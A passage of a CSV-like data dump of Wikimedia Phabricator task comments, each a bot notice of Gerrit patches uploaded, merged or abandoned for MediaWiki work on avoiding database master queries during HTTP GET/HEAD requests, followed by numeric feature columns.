+665665,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289810 had a related patch set uploaded (by Aaron Schulz):
+Avoid master connection in recacheMessageCount()
+
+[[https://gerrit.wikimedia.org/r/289810]]
+",,,1463713416,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+665599,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289730 merged by jenkins-bot:
+Avoid master queries on GET in showPermissionError()
+
+[[https://gerrit.wikimedia.org/r/289730]]",,,1463700104,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+665472,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289730 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on GET in showPermissionError()
+
+[[https://gerrit.wikimedia.org/r/289730]]
+",,,1463690021,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+664452,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289431 merged by Thcipriani:
+Fix central logout
+
+[[https://gerrit.wikimedia.org/r/289431]]",,,1463585960,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+664446,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289431 had a related patch set uploaded (by Gergő Tisza):
+Fix central logout
+
+[[https://gerrit.wikimedia.org/r/289431]]
+",,,1463585803,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+664336,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288758 merged by jenkins-bot:
+Defer DB update in showEnrollmentView()
+
+[[https://gerrit.wikimedia.org/r/288758]]",,,1463574767,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+663909,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289248 merged by jenkins-bot:
+Fix central logout
+
+[[https://gerrit.wikimedia.org/r/289248]]",,,1463507670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+663905,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289248 had a related patch set uploaded (by Gergő Tisza):
+Fix central logout
+
+[[https://gerrit.wikimedia.org/r/289248]]
+",,,1463507456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+663902,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289246 abandoned by Gergő Tisza:
+Revert ""Avoid DBPerformance log warnings in onUserLogout()""
+
+Reason:
+anomie found a fix.
+
+[[https://gerrit.wikimedia.org/r/289246]]",,,1463507391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+663890,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289246 had a related patch set uploaded (by Gergő Tisza):
+Revert ""Avoid DBPerformance log warnings in onUserLogout()""
+
+[[https://gerrit.wikimedia.org/r/289246]]
+",,,1463506924,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+663685,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289166 merged by jenkins-bot:
+Avoid DBPerformance log warnings in onUserLogout()
+
+[[https://gerrit.wikimedia.org/r/289166]]",,,1463489858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+663620,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289166 had a related patch set uploaded (by Aaron Schulz):
+Avoid DBPerformance log warnings in onUserLogout()
+
+[[https://gerrit.wikimedia.org/r/289166]]
+",,,1463482648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+663535,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288760 merged by jenkins-bot:
+Use DeferredUpdates in queueUpdates()
+
+[[https://gerrit.wikimedia.org/r/288760]]",,,1463475563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+663104,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288759 merged by jenkins-bot:
+Defer DB update in NewUserMessagesView
+
+[[https://gerrit.wikimedia.org/r/288759]]",,,1463425982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+662386,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288760 had a related patch set uploaded (by Aaron Schulz):
+Use DeferredUpdates in queueUpdates()
+
+[[https://gerrit.wikimedia.org/r/288760]]
+",,,1463230469,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+662385,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288759 had a related patch set uploaded (by Aaron Schulz):
+Defer DB update in NewUserMessagesView
+
+[[https://gerrit.wikimedia.org/r/288759]]
+",,,1463229284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+662382,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 288758 had a related patch set uploaded (by Aaron Schulz):
+Defer DB update in showEnrollmentView()
+
+[[https://gerrit.wikimedia.org/r/288758]]
+",,,1463229118,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+660039,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287898 merged by jenkins-bot:
+Avoid master queries in GET in onProtectionForm()
+
+[[https://gerrit.wikimedia.org/r/287898]]",,,1462934432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+660003,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287891 merged by jenkins-bot:
+Convert the top X reviewers cache to the main stash
+
+[[https://gerrit.wikimedia.org/r/287891]]",,,1462926347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+659381,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287892 merged by jenkins-bot:
+Avoid master queries on GET in ProtectionForm
+
+[[https://gerrit.wikimedia.org/r/287892]]",,,1462886387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+659351,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287899 merged by jenkins-bot:
+Defer DB writes in SpecialNewMessages
+
+[[https://gerrit.wikimedia.org/r/287899]]",,,1462884007,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+659202,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287899 had a related patch set uploaded (by Aaron Schulz):
+Defer DB writes in SpecialNewMessages
+
+[[https://gerrit.wikimedia.org/r/287899]]
+",,,1462860208,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+659201,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287898 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries in GET in onProtectionForm()
+
+[[https://gerrit.wikimedia.org/r/287898]]
+",,,1462859837,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+659198,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287892 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on GET in ProtectionForm
+
+[[https://gerrit.wikimedia.org/r/287892]]
+",,,1462857158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+659197,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 287891 had a related patch set uploaded (by Aaron Schulz):
+Convert the top X reviewers cache to the main stash
+
+[[https://gerrit.wikimedia.org/r/287891]]
+",,,1462856611,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+654279,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286038 merged by jenkins-bot:
+Avoid master queries in getAutoDeleteReason()
+
+[[https://gerrit.wikimedia.org/r/286038]]",,,1461958137,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+653822,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286030 merged by jenkins-bot:
+Avoid master queries on page views in loadFilterData()
+
+[[https://gerrit.wikimedia.org/r/286030]]",,,1461880665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+653809,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286065 merged by jenkins-bot:
+Avoid DBPerformance log warnings in saveNamespaces()
+
+[[https://gerrit.wikimedia.org/r/286065]]",,,1461880244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+653800,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286065 had a related patch set uploaded (by Aaron Schulz):
+Avoid DBPerformance log warnings in saveNamespaces()
+
+[[https://gerrit.wikimedia.org/r/286065]]
+",,,1461879533,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+653791,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286038 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries in getAutoDeleteReason()
+
+[[https://gerrit.wikimedia.org/r/286038]]
+",,,1461878835,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+653776,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286028 merged by jenkins-bot:
+Avoid master queries on page view in lazyImportLocalNames()
+
+[[https://gerrit.wikimedia.org/r/286028]]",,,1461876655,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+653772,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 286028 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on page view in lazyImportLocalNames()
+
+[[https://gerrit.wikimedia.org/r/286028]]
+",,,1461876196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,43,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+651568,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 284932 merged by jenkins-bot:
+Avoid always using DB_MASTER with ?CentralAuthLatest=1
+
+[[https://gerrit.wikimedia.org/r/284932]]",,,1461626423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1
+650224,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 284932 had a related patch set uploaded (by Aaron Schulz):
+Avoid always using DB_MASTER with ?CentralAuthLatest=1
+
+[[https://gerrit.wikimedia.org/r/284932]]
+",,,1461352197,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,1
+649791,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 284826 merged by jenkins-bot:
+Avoid incorrectly setting mFromMaster to true
+
+[[https://gerrit.wikimedia.org/r/284826]]",,,1461277686,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+649775,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 284826 had a related patch set uploaded (by Aaron Schulz):
+Avoid incorrectly setting mFromMaster to true
+
+[[https://gerrit.wikimedia.org/r/284826]]
+",,,1461276671,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+635783,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279461 merged by jenkins-bot:
+Defer the user save in onCustomEditor() to post-send
+
+[[https://gerrit.wikimedia.org/r/279461]]",,,1458962211,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+635360,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279452 merged by jenkins-bot:
+Avoid master queries on deletion form view
+
+[[https://gerrit.wikimedia.org/r/279452]]",,,1458902222,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+635138,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279461 had a related patch set uploaded (by Aaron Schulz):
+Defer the user save in onCustomEditor() to post-send
+
+[[https://gerrit.wikimedia.org/r/279461]]
+",,,1458854511,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+635110,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 279452 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on deletion form view
+
